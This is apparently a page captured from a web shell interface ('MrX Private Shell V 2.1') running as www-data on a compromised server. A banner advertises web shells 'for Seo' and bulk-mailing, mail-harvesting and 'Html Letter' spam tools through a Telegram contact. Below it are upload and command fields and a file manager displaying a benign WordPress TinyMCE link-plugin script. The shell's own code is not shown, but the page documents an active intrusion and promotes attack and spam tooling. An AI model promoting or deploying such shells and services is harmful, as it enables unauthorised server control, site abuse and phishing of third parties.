__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/**
 *
 *
 * @author Josh Lobe
 * http://ultimatetinymcepro.com
 */
 
jQuery(document).ready(function($) {


	tinymce.PluginManager.add('advlink', function(editor, url) {
		
		
		editor.addButton('advlink', {
			
			image: url + '/images/advlink.png',
			tooltip: 'Insert/Edit Advanced Link',
			onclick: open_advlink,
			disabled: true,
			onPostRender: function() {
				var ctrl = this;	
		 
				editor.on('click', function(e) {
					
					// Check editor to see if a selection was made (highlihted text)
					selection = editor.selection.getContent({format : 'text'});
					if(selection != '') {
						ctrl.disabled(false);
						ctrl.active(true);
					}
					else {
						ctrl.disabled(true);
						ctrl.active(false);
					}
					
					// Check editor nodename to see if we are in an <a> tag
					get_nodename = editor.selection.getNode().nodeName;
					if(get_nodename == 'A' || get_nodename == 'a') {
						ctrl.disabled(false);
						ctrl.active(true);
					}
				});
			}

		});
		
		function open_advlink() {
			
			var winW = 630, winH = 460;
			if (document.body && document.body.offsetWidth) {
				winW = document.body.offsetWidth;
				winH = document.body.offsetHeight;
			}
			if (document.compatMode=='CSS1Compat' &&
				document.documentElement &&
				document.documentElement.offsetWidth ) {
				winW = document.documentElement.offsetWidth;
				winH = document.documentElement.offsetHeight;
			}
			if (window.innerWidth && window.innerHeight) {
				winW = window.innerWidth;
				winH = window.innerHeight;
			}
			
			editor.windowManager.open({
					
				title: 'Insert/Edit Advanced Link',
				width: winW*.2,
				height: winH*.4,
				url: url+'/advlink.php'
			})
		}
		
	});
});

Filemanager

Name Type Size Permission Actions
images Folder 0755
includes Folder 0755
advlink.php File 2.69 KB 0644
plugin.js File 1.66 KB 0644
Filemanager